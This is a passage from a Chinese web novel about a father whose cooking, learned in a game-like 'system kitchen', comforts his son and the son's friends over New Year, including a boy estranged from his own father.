他说话时手也没闲着，通过复炸将让鱼颜色更加金黄并逼出多余油脂后，将炸好的鱼摆在盘中开始调料汁。 网咖里，胡一齐忽然有点想哭，抬手揉把眼睛，将哭腔压回去才开口用玩笑掩饰自己的情绪：“才半个儿子啊，那什么时候我才能升级成完整的儿子？” “你先过来再说。”楚易文语气温和中透着笑意。 胡一齐：“那我真来了……” “赶紧的，哪那么多废话，对了，来的时候顺便给我带瓶可乐，我爸全买的果汁，家里都没有碳酸饮料。”楚瑾钰嫌他墨迹，直接让他赶紧来并发布任务。 楚易文：“明明我问你要吃什么喝什么时，是你自己说随便。” “碳酸饮料有什么好喝的，楚爸炖的汤才最好喝。”胡一齐说完已经起身去前台退机子，并顺便在网咖买了几瓶可乐。 等他到楚瑾钰家时，松鼠鳜鱼早就做好，大部分菜都已经上桌。 “一齐来了，看看还有没有想吃的菜，我去给你做。”楚易文边将鸡汤端上桌边说。 “楚爸你这年夜饭比我想象的还要丰盛，已经够吃了！”胡一齐边将买来的可乐递给楚瑾钰，边看向刚上桌的鸡汤，“咦，鸡汤煮饺子吗？” 楚瑾钰随手将可乐放到桌上，开口给他介绍：“什么鸡汤煮饺子，我爸说这道菜叫百鸟朝凤。” “百鸟朝凤？哈哈哈……”胡一齐望着汤里那只整鸡，瞬间想到“拔了毛的凤凰不如鸡”这句话。 “我要拍给叶其林他们看看。”他说完拿出手机对着桌上拍起来，那诱人的菜色和扑鼻而来的香味，让他边拍边忍不住咽口水。 等到坐下来吃饭时，胡一齐直接朝那道松鼠鳜鱼下筷子。 松鼠鳜鱼色泽金黄，上面淋着鲜红透亮的糖醋汁，散发出油炸特有的焦香以及鱼鲜味和糖醋汁的酸甜气息。 这道菜不光外形诱人，吃进嘴里味道更是绝了，极致酥脆的外壳咬下去时发出咔嚓声，咀嚼间糖醋汁的酸甜口与外焦里嫩的鱼肉融合，好吃到胡一齐心情瞬间就飞扬起来。 酸甜口的菜本来就很开胃，松鼠鳜鱼那恰到好处的酸甜度，以及与表面酥脆与内里鲜嫩形成的对比，让他吃一口就停不下来。 “你别光盯着鱼吃，鱼得留一点好年年有余。”楚瑾钰见他吃松鼠鳜鱼吃上瘾，边夹个四喜丸子到碗里边提醒。 楚易文：“没事，喜欢就让他吃，把鱼头鱼尾留下来也一样是年年有余。” “楚爸你做的这个松鼠鳜鱼太好吃了！尤其是表面这层鱼肉配上糖醋汁，简直绝了！”胡一齐中午饭没吃，由于饿过头导致在网咖里时完全没觉得饿，现在却是被松鼠鳜鱼给打开胃口，感觉自己能吃下一头牛。 楚瑾钰看到他吃得那么香，放下吃到一半的四喜丸子也去夹了点鱼，鱼肉外壳酥脆，内里细嫩爽滑，配上酸甜适口的糖醋汁，确实越吃越香。 第39章 四喜丸子 直到将松鼠鳜鱼吃得差不多时, 楚瑾钰和胡一齐才将筷子转向其他菜。 “哇，楚爸你做的四喜丸子也好好吃！” 四喜丸子寓意吉祥，属于宴席常见菜色, 胡一齐从小到大吃过这道菜的次数绝对不少，但还是第一次被它的味道给惊艳到。 手工打搅上劲的肉丸先炸再小火慢煨，咬上去只感觉酥松软化，肥肉部分早就炖化，瘦肉部分软烂中略带颗粒感，马蹄的爽脆解腻又丰富口感。咀嚼间先尝到肉的咸鲜，浓郁的肉鲜中带着几分回甜, 香得胡一齐三下五除二就解决掉整个四喜丸子。 吃掉整个肉丸他都没觉得腻，嘴里余味满满都是鲜香，甚至想再吃一个。 不过桌上还有好多好菜, 胡一齐最终还是决定先把每样菜都尝尝。 在看到还有烤羊排时，他直接夹起一根啃起来，羊排被烤得特别焦, 表面那层酥脆焦香的肉上洒满调料，吃起来那股浓郁的肉香混着调料的复合香气直往脑海里冲, 冲散他白天在家那些不愉快的记忆，只留下满满的真香两个字。 “要不要喝可乐？”楚瑾钰看到他吃得腮帮子都鼓起来，怕他被噎着，举手手旁的可乐问。 胡一齐摇头：“我不喝可乐, 等会喝汤。” 年轻人就没几个不喜欢碳酸饮料，他平常在学校也爱喝可乐，不过在楚瑾钰家吃饭时，却是觉得汤比可乐更好喝。 楚易文闻言，直接盛了碗鸡汤放到他手边, 当然也没忘记给自家儿子来一碗，同时整鸡上的两个鸡腿被分别放在两个碗中。 “谢谢楚爸，这汤看着就好喝。”胡一齐特别捧场，直接端起汤就喝，鲜得眉毛差点没掉下来，半碗汤下肚，他用筷子夹起碗里的鸡腿吃起来。 楚易文炖汤用的是嫩鸡，此时不光汤格外鲜美，鸡更是被炖得骨酥肉烂，滋味咸鲜嫩滑。 “好吃！感觉比普通鸡汤更鲜，鸡肉也特别嫩，还有这个饺子，唔，太香了，我喜欢这道百鸟朝凤……”胡一齐吃得赞不绝口，只感觉这辈子没吃过这么香的炖鸡汤。 楚瑾钰闻言端起汤碗，发现汤确实格外鲜美，鸡腿肉轻轻一咬就下来，明明是汤里炖出来的，肉质却完全不柴。 看到他们俩一个吃得比一个香，楚易文眼角眉梢都流露出笑意，又握着汤勺往他们碗中添了些汤。 心情被美食给安抚好，胡一齐开始有心情炫耀，他边吃边拿手机拍照片发到群里。 叶其林和商时贸看到群中各种美食图片，没有问胡一齐为什么会在楚瑾钰家吃年夜饭，毕竟以他们的情商，不用问就能猜到。 他们四人有个聊天群，除此之外，还有另外一个五人群，五人群里有楚易文。 叶其林看到四人群中胡一齐发的照片，直接在五人群中@楚易文【@楚爸新年快乐！我也想吃你做的四喜丸子，看起来好好吃啊！】 商时贸看到他发的消息，也跟着在群里说了句新年快乐。 楚易文直到年夜饭结束才看手机，直接在群里发了几个红包，随即又向叶其林表示，等他下次来家里给他做四喜丸子。 年夜饭菜色实在太丰盛，哪怕胡一齐和楚瑾钰都把自己吃到撑，依旧没能解决桌上所有菜。 明明肚子已经撑着，可是胡一齐嘴还是馋，于是从餐桌上下来时手里还端着冷吃牛肉，有一口没一口地嚼着。 楚瑾钰家有暖气，冬天在暖和的屋子里吃完年夜饭，坐在沙发上看春晚，茶几上还摆满各种水果零食，简直不要太幸福。 “你们要不要去放烟花？”楚易文询问两个孩子。 听到烟花，由于吃太饱本来有点犯困的胡一齐瞬间就精神起来：“要！” 他们小区早就发过通知，不许在小区内放烟花，因此楚易文带两个孩子到小区外面空旷的地方放。 咻——啪—— 当烟花冲上天幕时，好像将烦恼也带走，只留下过年的喜庆与愉悦。 楚瑾钰和胡一齐直接玩嗨了，两个人不停放着烟花爆竹，甚至吸引不少附近的居民过来欣赏。 楚易文含笑看着他们玩，时不时举起手机录个视频拍个照片，将美好的一幕幕都记录下来。 烟花放完，三人一起回家，胡一齐还有些意犹未尽，路上跟楚瑾钰打打闹闹。 到家后离十二点已经很近，他们坐下来看着春晚继续守岁，直到十二点钟声响起，新的一年终于到来。 守到十二点楚易文将今天拍的年夜饭素材剪好发出去就回房间睡觉，然而楚瑾钰和胡一齐两个年轻人却是压根不困，直接喊上叶其林和商时贸开黑，一副要通宵打游戏的架势。 大年三十通宵的人不少，楚易文视频发出去时立刻就有好多人评论。 【好丰盛的年夜饭，看得我口水都下来了。】 【新年快乐！今年没回家，自己一个人在出租房里过年，不过我也给自己准备了好吃的［图片］】 【松鼠鳜鱼好漂亮啊！对比起来，感觉我做的这个是假鱼（笑哭）】 【果然还是别人家的年夜饭看起来更香，差点没给我馋哭。】 【下次能不能在过年之前发？你现在发除了馋人还能干嘛？算了，先收藏起来，等明年过年我也要整这么一桌。】 现在条件好了，家家户户过年时都少不了鸡鸭鱼肉，然而就算如此，楚易文发出去的年夜饭还是很诱人，隔着屏幕都馋哭不少网友。 楚易文第二天看到底下评论时，在评论区置顶了一条新年快乐，随即就独自吃早餐去。别问他为什么独自吃早餐，问就是楚瑾钰两个孩子根本起不来。 接下来几天，楚易文带着楚瑾钰和胡一齐回了趟老家，走亲戚拜年。胡一齐性格外向，很容易讨长辈喜欢，跟着楚瑾钰一起蹭了不少红包。 初五那天，他们从老家回来，叶其林和商时贸立刻就拎着礼盒上门拜年顺便蹭饭。 “胡一齐，我觉得你可以改名字叫胡小胖了，这才多久没见？我感觉你整个人都胖了一圈！” 叶其林话落，楚瑾钰转头盯着胡一齐看：“有吗？” 胡一齐本来就是那种微胖的长相和身材，楚瑾钰最近天天跟他在一起自然看不出来。 商时贸：“确实胖了，整个人都圆了一圈，看来过年没少吃。” 胡一齐本来还不信，结果上秤一称，比过年之前重了十二斤。 “没办法，谁让楚爸做的东西太好吃了。” 何止胡一齐，就连楚瑾钰过个年都胖了五斤，只是看起来不明显而已。 他们凑在一起闲聊时，楚易文已经在厨房里准备食材做午餐。之前他答应过给叶其林做四喜丸子，现在直接拿出肥三瘦七的猪后腿肉开始剁馅。 很多人家做丸子图省事，都是直接用绞肉机绞，他在老爷子的高要求下，却是习惯手工剁馅。肥肉切成石榴粒大小，瘦肉先切片再切丝，最后剁成带颗粒感的肉末，这样做成丸子口感会更好。 解腻的马蹄必不可少，除此之外，去腥的葱姜末，提鲜的香菇粒一起加入肉馅中。 在楚易文给肉馅调好味开始打搅上劲时，叶其林他们纷纷凑到厨房里来。 “你们要自己试试吗？”楚易文见几个孩子好像有兴趣，取一份肉馅在手掌中来回摔打整形给他们做示范。 “要。” 四个孩子洗干净手，拿到自己那份肉馅学着他的动作摔打起来，没想到看似简单的动作，想把肉馅团成漂亮的圆球却没那么容易。 将丸子摔打整形交给他们后，楚易文起锅烧油，等到油温起来时，将肉丸沿锅边滚下去。随着丸子表面被炸成金黄色，一股肉香混着焦香飘出来，闻起来格外诱人。 肉丸子炸出来时那金灿灿的颜色已经很吸引人，等到楚易文将丸子放入锅中小火慢煨时，香味由原本霸道的肉香变得更加醇厚起来。 等到四喜丸子出锅，浓郁的肉香混着酱香以及八角、桂皮等香料的复合香气，还有肥肉被炖化产生的油脂香，闻两下就令人垂涎欲滴。 “楚爸，你做的四喜丸子太馋人了！”叶其林过年时在家里吃过四喜丸子，但他家阿姨做的四喜丸子香归香，真没有像这样格外勾人食欲。 “那你待会多吃几个。”楚易文笑着道。 午餐除了四喜丸子，还有炸得香喷喷的酥肉，以及松鼠鳜鱼、啤酒鸭等菜，每道都色香味俱全。 胡一齐：“今天这鱼可以吃完了吧？” “可以。”楚易文听到他这么问，语气透着几分笑意。 人多吃饭就是热闹，楚瑾钰和胡一齐就不用说，两个人吃个饭时不时就要抢几筷子。 叶其林吃到自己想吃的四喜丸子，表情中都透着愉悦，觉得果然还是楚爸做的更香更好吃。 之前他在家时，半个四喜丸子下肚就不太想吃了，但此时他咬着肥而不腻，咸鲜回甜的丸子，却感觉越吃越香，不知不觉就吃掉整个。 商时贸看到他吃得那么香，咽下嘴里的鱼肉后用勺子托着夹个丸子到碗中，浓稠的汤汁包裹着整个肉丸，散发出诱人的鲜味。 四喜丸子表面微微泛着油光，但等吃进嘴里时却并不油腻，被炖化的肥肉只留下温润不腻的脂香。 商时贸就着四喜丸子吃掉半碗饭，心里忽然有种还是在楚瑾钰家吃饭更自在的感觉，脸上表情都不自觉放松下来。 吃饱喝足，四个孩子抢着把碗盘收拾好，把桌子擦干净才全都窝进楚瑾钰房间里。 “打游戏不？”胡一齐进入房间直接往床上一趟，半点都不带客气。 楚瑾钰：“我没问题，倒是你们，初八就要开学，你们寒假作业做完了？” 之前被他爸催着做作业时他有多痛苦，现在就有多嘚瑟，如果有尾巴的话，估计他尾巴都能翘上天。 商时贸：“我还剩一点，晚上回去两个小时就能搞定。” “我明天去你家抄。”叶其林立刻道。 至于胡一齐，他离家出走时压根没带书包，寒假作业做完才有鬼。 “上次是谁在我爸面前说他早上起来做作业的？我真该把你刚刚那句话录下来放给我爸听。”楚瑾钰斜眼看向叶其林。 由于楚瑾钰一个劲炫耀他作业做完，现在想怎么玩怎么玩，终于引起众怒，叶其林三人在房间里追着要收拾他。 “你们别过来，再过来我喊我爸了！让他以后都不做饭给你们吃！” 双拳难敌四手，更别说他们三个加起来有六手，楚瑾钰打不过直接拿出杀手锏。 四人正在房间里闹腾时，胡一齐手机忽然响起来，他下意识接通，结果就听到讨人厌的声音。 “你还要在你妈那待多久？马上就要开学了，赶紧回家。” 胡一齐见他这么多天才想起来打电话，而且还搞错自己在哪，连跟他吵架都懒得吵，直接把电话挂断。 在他接通电话那瞬间房间里楚瑾钰几人就没再继续闹，听见他爸那句话，三人都有些无语。 对比胡一齐爸爸，楚瑾钰忽然觉得他爸简直不要太好，就是之前忙于工作时都没那么离谱。 胡一齐刚挂掉电话，那边立刻继续打过来，就在他想要直接拉黑时，商时贸开口道：“你是怎么想的？彻底跟你爸翻脸然后去跟你妈过？” “我妈好像找新对象了，我可不能去给她添麻烦。”胡一齐垂下脑袋说。 “那你电话还是别拉黑，看看他怎么说。”商时贸比较理智，在他看来，胡一齐还没成年，如果他不准备去找他妈，接下来还得跟他爸一起生活，拉黑电话根本解决不了问题。 楚瑾钰：“就那个破家有什么好回的，你就直接住我家。” 别看他平常总跟胡一齐打打闹闹，但真有事时他还是很讲义气。 他说完见胡一齐电话又响了，直接伸手接过来：“喂，胡叔叔是吧？胡一齐大年三十在我家过的，这几天也都在我家，我寻思着你也不在乎他这个儿子，以后就让他一直住我们家算了，反正我爸不介意多个儿子……” 电话那头，连着被挂几次电话的胡父本来想发火，没想到电话再次接通，说话的却不是他儿子，吐到嘴边的骂声连着火气一起咽下去。 老一辈人讲究家丑不可外扬，在大年三十这种特殊日子，儿子跑到朋友家过年，胡父脸上有点火辣辣的疼。 他对儿子凶，但面对外人时还挺要脸张口就是“不好意思”，并让楚瑾钰把电话交给胡一齐。 楚瑾钰看向胡一齐，见他没有拒绝才把电话递过去。 “胡一齐你怎么回事！你又不是没有家，怎么能大年三十跑到别人家去！”胡父简直想吐血。 隔着手机都听出他爸的崩溃，胡一齐心情反倒是好了很多。 “什么别人家，有小三的地方才是别人家，我来我楚爸家过年有什么问题？反正楚爸说了把我当他亲儿子一样。” 胡父就他一个儿子，要说不在乎那肯定不可能，听到他说要去给别人当儿子，简直气得要死。 他下意识想骂几句，但想到这次儿子大过年跑出去就一直不回家，到底还是深吸一口气道：“好了，你别天天小三小三说得那么难听，我跟你妈都离婚了。” “一天是小三，一辈子都是小三，当然，她是小三，你也不是什么好东西。”胡一齐觉得小三该一巴掌，他爸更是该两巴掌。 胡父气得直磨牙，可想到自己就这么个儿子，觉得还是忍一下，先将他叫回家，不然一直待在别人家算什么事，不知道的还以为他养不起儿子。 “她已经走了，我保证以后不会再带回家，你总该满意了吧？”胡父说完又握着手机点了几下，“我给你转了一万块钱，你把这几天的伙食费给你朋友，然后赶紧回家。” 胡一齐当然知道自己不可能一直住在楚瑾钰家，哪怕楚瑾钰不介意，他脸皮也该没那么厚，不过…… “一万块？真多啊，都不够给那个女人买个包吧？” 听到儿子阴阳怪气的声音，胡父：“我给你转三万。” 胡一齐正想着三万还差不多时，楚瑾钰凑到他耳边出主意：“你直接要二十万，看看他给不给。” “二十万。”胡一齐闻言直接张口就要。 胡父皱眉：“你一个学生，要那么多钱干嘛？” “你就说给不给，不给我就不回家，反正我在这住得挺舒服。” 胡一齐最后那句话绝对发自内心，如果不是他爸打电话过来，他已经乐不思蜀地忘记自己还有原来还有个爸。 “最多五万，你赶紧回来，不然我给你妈还有你班主任打电话。” 胡一齐听到他还威胁自己，哼了一声道：“你先把钱转过来。” 五万块钱到账后，胡一齐直接丢下一句“我明天回去”就把电话挂掉，随即举着手机说：“来，见者有份，我分你们一人一万。” “你自己留着花吧，我过年收到不少压岁钱。” 眼见三人都不要，胡一齐看向楚瑾钰：“我转你点，那家伙不是说让我给你生活费。” “不用了，我爸那么喜欢你，知道我收你生活费，肯定得说我。” 眼见钱送不出去，胡一齐只能道：“那叫上楚爸，晚上我请你们出去吃烤肉。” “这个可以有。”叶其林同意。 得知晚上要出去吃烤肉，楚易文有点诧异：“怎么好好的要出去吃饭？” “胡一齐发财了，所以请我们去吃烤肉。” 楚瑾钰话落，胡一齐跟着点头：“对啊楚爸，你今天可别跟我客气，要多吃点。” 按说带小辈们出去吃饭，楚易文是不会让他们出钱的，不过见胡一齐坚持，加上得知他爸给了他五万块，手里确实不缺钱，这才没抢着付款。 这家烤肉店平常有店员帮忙烤，今天由于生意太火爆，等不及的顾客就只能自己动手。 牛肉、五花肉等食材送上桌后，楚易文视线从上面扫过，开口道：“食材还不错。” “我就是听说这家店食材新鲜才带你们来的。”胡一齐道。 在食材不错的情况下，只要火候把握得别太离谱，烤肉味道就不会差。 不过有楚易文在，食材想要烤老都难，他先将五花肉放到上面烤出油脂，再将牛肉放上去烤。 “好香啊！跟楚爸你出来吃饭太幸福了！”胡一齐咀嚼着焦香可口的五花肉，好吃地眯起眼睛。 五花肉的油脂被烤出来，肥肉部分焦香，瘦肉部分焦而不柴，配上调制好的蘸料滚一圈，直接吃好吃，包进生菜里更是香得不行。 “楚爸你也吃。”叶其林见他光顾着烤，自己都没吃到肉，用公筷将刚烤好的牛肉夹进他碗中。 商时贸见他帮忙夹肉，便端起酸梅汤往楚易文面前的杯子里添满。 胡一齐不甘落后，直接拿生菜包上五花肉和泡菜送到他嘴边：“楚爸来，快趁热吃。” “好，我自己来。”楚易文放下手里的烤肉夹子，接过胡一齐递来的生菜包肉。 眼见他们几个把自己衬托得像个假儿子一样，楚瑾钰视线在桌上扫过，最终拿起纸巾递过去给他爸擦手。 吴有健带着妻子儿女走进烤肉店时，就看到这一幕，快走两步上前打招呼：“行啊你老楚，你这儿子养得比女儿还贴心。” “吴叔叔好。” 楚瑾钰打完招呼，胡一齐三人跟着一起喊了声：“吴叔叔好。” “哎，你们好。”吴有健说完视线落在叶其林三人身上，对着楚易文打趣，“你家小辈可真有礼貌。” 他说完就从口袋里掏出红包派给几个孩子，压根不给拒绝的机会。 楚易文见此自然不能干看着，起身跟他妻子打过招呼后，也给他家两个孩子塞了红包。 由于桌子不够大，他们没办法凑在一起吃饭，寒暄几句后吴有健就带着妻子儿女去他们的位置，走的时候还忍不住对妻子念叨：“你看人家孩子，又懂事又贴心……” 第40章 香椿炒蛋 一顿烤肉吃完, 楚易文先开车送叶其林和商时贸回家，随即才带着楚瑾钰和胡一齐回自家小区。 “楚爸我觉得你烤肉的手艺比烤肉店里的人还好……”胡一齐坐在车上时还在回味烤肉的香味，觉得下次吃烤肉或者火锅一定要叫他一起。 楚瑾钰见他一天天地就知道说好话哄他爸, 故意道：“别光想着吃了，还是想想你的寒假作业吧。” “一齐你寒假作业还没做完？”楚易文想到再有两天就开学，透过后视镜看向胡一齐。 胡一齐偷偷瞪了楚瑾钰一眼才说：“还剩一点，我明天回去就赶紧做。” 在楚家这些日子，胡一齐真的挺开心，有种回到小时候爷爷奶奶、外公外婆都还在，一家人一起过年的幸福感。有时候他都搞不懂, 为什么他爸放着好好的日子不过，非要去找小三，明明以前他们一家人也有很多美好的回忆。 当天晚上, 他躺在床上翻来覆去：“好烦，不想回家看到我爸那张脸……” “不想回就不回呗，我都说了你可以住我家。”楚瑾钰道。 胡一齐：“那不行, 我要是真不回去，我爸说不定真就带小三在家里过他的潇洒日子去了！” “那就别纠结了, 赶紧睡觉。”楚瑾钰说完伸手关掉床头灯。 在房间暗下来那瞬间，胡一齐忍不住转头看向他：“楚瑾钰，我有时候真是挺羡慕你的。” “羡慕我啥啊，不管怎么样, 你好歹父母双全……”聊到这个话题，楚瑾钰忽然也有些睡不着，忍不住说出埋在自己心里很久的猜测，“其实我之前怀疑过，我爸是不是因为我妈生我时去世了, 所以不喜欢我。” “你别瞎猜了，楚爸对你不是挺好，哪不喜欢你了。” “那是现在，之前他天天忙着工作，根本就没怎么管我。” “工作忙不等于不喜欢你，你看叶其林他爸妈不是也很忙……” 二人聊着各自的少年心事，不知不觉就都睡过去。 次日早上。 知道胡一齐今天要回家，楚易文一大早就起来打豆浆，做他喜欢吃的香河肉饼。 焦黄色的薄薄饼皮裹着厚实的肉馅，散发出浓郁肉香与焦香，都不用楚易文去叫，胡一齐鼻子那叫一个灵，肉饼刚烙好他隔着房门就闻见，直接掀开被子就往外跑。 “有毒吧你……”被子掀开的冷风令楚瑾钰边睁眼边骂了句。 等到二人洗漱完来到餐桌前时，桌上已经摆好热乎乎的豆浆和香喷喷的香河肉饼。 “太幸福了！”胡一齐捧着切成三角形的饼咬下去，那酥脆带焦香的饼皮和肉质饱满的肉馅，好吃到他大早上心情就要飘起来。 吃几口油润不腻，咸鲜美味的肉饼，再来口豆香浓郁的豆浆，简直别提有多香。 楚瑾钰没像他那么夸张地叫出声，不过看脸上那个表情，明显对早餐很满意，一手抓着肉饼，一手端着豆浆，嘴巴就没停过。 “慢点吃。”楚易文提醒完才开始享用自己那份。 香河肉饼他已经做过好几次，他感觉这次饼皮擀得格外好，又薄韧性还足，肉馅更是汁水充沛，吃起来油而不腻。 他心里正点评着，就听见儿子说：“爸，我感觉你今天做的肉饼格外好吃。” “对！楚爸你手艺真是绝了！” 楚易文闻言，脸上瞬间露出笑意，不过并没有说什么。 早餐结束，胡一齐拉着楚瑾钰打了两把游戏，直到九点多快十点时才准备回家。 看出他的磨蹭，楚瑾钰直接道：“我下午去你家玩。”他想着有自己在，胡一齐爸爸但凡顾虑点面子，总不会当着外人的面发癫。 “行，把你书包带上。”胡一齐闻言立刻点头。 “你想抄我作业？信不信我告诉我爸。” “什么抄作业，说得那么难听，我只是想对一下答案而已。” 楚瑾钰白他一眼：“我们都做完了那叫对答案，我做完了你没做，那不就是抄作业，你别想这美事，自己做去。” 楚瑾钰觉得他都辛辛苦苦自己做了，凭什么胡一齐可以抄。 在两个人打打闹闹着要出门时，楚易文提出开车送他们，二人却是直接拒绝。 到胡家后，胡父看到儿子带朋友一起回来，果然没好意思发脾气，反而好声好气招待楚瑾钰。 没办法，在他心里儿子过年去别人家里，那人情欠大了，现在人家上门，要是不好好招待就显得太不懂礼。 另一边，楚易文得知儿子中午不回家吃饭，想到昨天在烤肉店遇见吴有健，干脆打电话问他有没有空，两个老朋友一起出去吃了顿饭。 饭桌上，吴有健吐槽他放下公司后比上班还忙，根本约不出来人。 过完年二人都快奔四了，已经到了想当年的年纪，回忆一下以前，再聊一下孩子，吴有健开口道：“你真不准备再找一个吗？” “找什么？”楚易文最开始还没反应过来，反应过来后直接道，“孩子都那么大了，找什么，懒得折腾。” “时间过得飞快，等你儿子考上大学，很快就开始谈恋爱结婚，到时候剩你一个人，你不觉得孤单吗？”吴有健边吃菜边继续道，“还是找个伴比较好，家里事都有人操心，还能照顾你。” “有什么好孤单的，等儿子上大学，我就可以松口气，直接开始养老生活，到时候想干嘛干嘛去。”楚易文光是想想就觉得美好。 “行吧，你是真看得开。” 和老朋友聚完餐，接下来楚易文重心又转回儿子身上去，带他去买了新书包新文具，大有新学期新气象的架势。 初八。 假期综合症让学生们到学校后，一个个都蔫得不行，完全没有少年人的精气神。 新学期班主任重新分配了座位，楚瑾钰同桌变成邵言易，胡一齐变成他后排，叶其林和商时贸则是在过道另外那边。 “太难了，为什么假期过得那么快……”胡一齐厌学情绪上头，趴在桌上边喊边用笔戳楚瑾钰后背。 楚瑾钰见他手欠，直接转身打他手：“你是不是讨打？” “中午楚爸做什么好吃的？”胡一齐收回手，想要用美食安抚自己被上学伤害的心。 “没问，到中午不就知道了。” 开学头个星期，胡一齐真是完全靠着楚易文做的饭菜才坚持下来没逃学，等到一周后，逐渐习惯的他才没再天天喊着不想上学。 这周五中午，楚易文给几个孩子送完饭，看到路边有人在卖香椿，仔细一瞧发现竟然是邵言易奶奶，想想还是下车过去买了两把。 他刚买完香椿，系统直接响了两次，第一次是奖励他香椿炒鸡蛋的菜谱，第二次则是发布春日限定任务，让他采摘春菜五样。 春菜？ 楚易文正在心里想着春菜包含哪些时，邵言易奶奶笑着问他知不知道香椿怎么吃，并提醒吃之前要焯水。 “好，我知道了。”楚易文点头，随即顺口询问，“婶子，你知道春菜有哪些吗？” “春菜？香椿不就是春菜。” 邵言易奶奶说完继续道：“还有春笋、荠菜、马兰头、韭菜、草头，我们那会一到春天就上山挖这些。” 发现自己真是问对人了，楚易文眼神微亮：“韭菜也算春菜？” “老话都说韭菜是三月第一菜，春天的头茬韭菜鲜嫩得很，随便炒炒都好吃。” “婶子，草头是什么？”楚易文又问。 马兰头他倒是知道，又叫“红梗菜”，以前在村里时他吃过，拿来凉拌很好吃。 “草头就是金花菜……” 跟邵言易奶奶聊了会，楚易文感觉收获颇丰，再三向她道谢，还把车上的水果拿下来放到三轮车上。 “不要不要，你拿回家自己吃。” “婶子你刚刚说的那些可帮了我大忙了，一点水果而已。” 客套一会后，最终楚易文还是成功把水果留下，不过邵言易奶奶却是多塞了一把香椿给他。 回到家，他看着那几把香椿，想着不能浪费，直接选择进入系统厨房学习。 香椿属于春季限定美食，新鲜的香椿芽不光颜色漂亮，还散发出一股独特浓郁的香味。 香椿有绿色和紫红色两种，之前邵言易奶奶卖的就是绿香椿，系统厨房还挺灵性，此时提供的食材同样是绿色。 楚易文清洗着手中的香椿芽，洗好开始起锅烧水，往水里撒点盐和几滴油，这样给菜焯水时能让颜色更漂亮。 这道菜做法简单，老爷子并没有说太多，将关键点提醒一遍就站在旁边看他自由发挥。 楚易文将香椿放入锅中焯三十秒后立刻捞出来过冷水，以便保持香椿爽脆的口感。过完水，他将香椿里水分完全挤干，随即放到案板上开始切。 和最开始进入系统厨房相比，他的刀工肉眼可见的进步很大，握着菜刀刷刷刷就将香椿切成均匀的细丁。 香椿切好，他往盆里打入几个鸡蛋，再将香椿碎倒进去，加点盐直接开始搅拌。搅拌完，他滴两滴料酒给鸡蛋去腥后直接起锅烧油，七成油温时将食材下锅。 夹杂着香椿碎的鸡蛋液下锅，在高温下逐渐凝固，鸡蛋的嫩黄配上绿色的香椿芽，看起来很是漂亮。楚易文等到鸡蛋液定型，用锅铲沿着边缘轻轻推动，反复几次，在蛋液全部凝固却还没来得及变老前，用锅铲将其划成小块，连着几下颠锅，确定鸡蛋全部熟透，往锅边点几滴香油增香提味就直接出锅。 绿色香椿碎被包在嫩黄色鸡蛋中，整道菜有种金镶玉的美感，鸡蛋的鲜香混着香椿特有的清新，带着春天特有的味道。 老爷子握着筷子夹起一口，吃完就不太满意地点评：“鸡蛋不够嫩，出锅要更干脆些，不然锅里的余热会让鸡蛋变老。” 其实就那么几秒钟的差别，一般人真不一定能吃出来，只能说老爷子要求高。 好在楚易文早就习惯，听到他这么说，直接开始重新炒菜。 被老爷子挑剔几次后，等从系统厨房出来，楚易文下午给几个孩子们准备晚餐时，手法那叫一个娴熟。 他甚至举一反三，通过锅余温影响鸡蛋老嫩，联想到保温桶带过去焖的时间同样会影响，因此在做香椿炒鸡蛋时特意提前出锅。 香椿有股特殊气息，有人喜欢，自然有人不喜欢。楚易文来到学校将保温桶交给几个嗷嗷待哺的孩子时，顺口道：“今天做了香椿炒鸡蛋，你们尝尝喜不喜欢吃。” “只要是楚爸你做的，我都喜欢！” “对！” 听到他们还没吃就如此捧场，楚易文脸上露出笑意，又跟他们聊几句，就催他们快去吃饭。 四人拎着保温桶跑到食堂，人还没坐下就赶紧先把盖子打开，顿时一股饭菜香扑鼻而来。 “这就是香椿炒鸡蛋吧？看起来就很好吃的样子！” 胡一齐说完饭都没盛，直接握着筷子尝了口。鸡蛋表面带着微微焦香，内里蓬松软嫩，咀嚼间香椿的爽脆和鸡蛋的柔嫩形成对比，有种越吃越香的感觉。 香椿的气息很独特，随着它特有的香味在味蕾上弥漫开来，让人有种置身春日的树林，看到满树新芽争相生长的画面。 “好吃哎，味道很独特，你们快尝尝。”胡一齐边说边开始盛米饭，感觉配上米饭一起吃更加香。 商时贸听到他的话，盛好饭后先夹一筷子香椿炒鸡蛋，闻起来是浓郁的蛋香夹杂着股清爽气息，送入口中时，先尝到鸡蛋的鲜香软嫩，随即是香椿爽脆而不失柔韧的口感。 他感觉香椿余味有些微苦，但这丝微苦并不令人讨厌，反而让人下意识想要追寻。盐的咸味激发蛋香的同时，更衬托了香椿那股特殊的香气，让整道菜吃起来鲜香浓郁，带着满满的春天气息。 叶其林：“怪不得都说香椿的春日限定美食，确实很好吃，有股说不出来的味道。” 楚瑾钰赞同地点头，觉得他爸今天做的这道香椿炒鸡蛋确实别有一番滋味。 四人正吃着，楚瑾钰忽然看见个熟人在找位置，立刻招呼道：“邵言易，这里。” 邵言易寻声转头，见他们这边还有空位，端着餐盘过来坐下。 “你今天竟然没回家吃饭？”楚瑾钰稀奇道。 邵言易：“我奶奶下午有事，没空做饭。” 两个人这学期是同桌，关系明显比上学期更好些。 楚瑾钰闻言想到什么，将香椿炒鸡蛋推到他面前道：“你尝尝这道菜，香椿是在你奶奶那买的，我爸说你奶奶还非要多送了一把。” 他话落，见邵言易不动手，直接拿筷子往他碗里夹。 “谢谢。”邵言易客气道谢后，低头尝了一口，有些被香椿炒鸡蛋的味道给惊艳到。 他奶奶最近跟着别人去山上摘香椿卖，有些比较老不好卖的香椿基本都在家里炒了。 邵言易不知道是不是食材老嫩的缘故，总感觉楚瑾钰他爸炒的香椿格外爽脆。 “你爸炒的香椿味道真好。” 听到他发自内心地夸奖，楚瑾钰又夹了几块红烧排骨过去：“我爸做什么菜都好吃。” 他们五人坐在一起享受晚餐时，香椿炒鸡蛋特有的香味逐渐飘散开来，惹得坐在周围的不少学生下意识左右张望。 楚易文将买回去的香椿都给炒了，装进保温桶里分量可不少，楚瑾钰招呼同桌几个人都多吃点后，眼见还有好多，干脆拿出部分跟周围同学分享。 “谢谢。” “这是香椿炒鸡蛋吗？太好吃了！” “香椿好像只有春天有……” 楚瑾钰很喜欢听别人夸他爸做的菜好吃，晚上回家时将吃得干干净净的保温桶放进洗碗机，同时道：“下午的香椿炒鸡蛋太多，我分了点给其他同学，他们都说你做的香椿特别好吃，还有胡一齐，他都要撑死了还往嘴里塞……” “你呢？你喜欢吃香椿吗？” “喜欢，挺好吃的。” 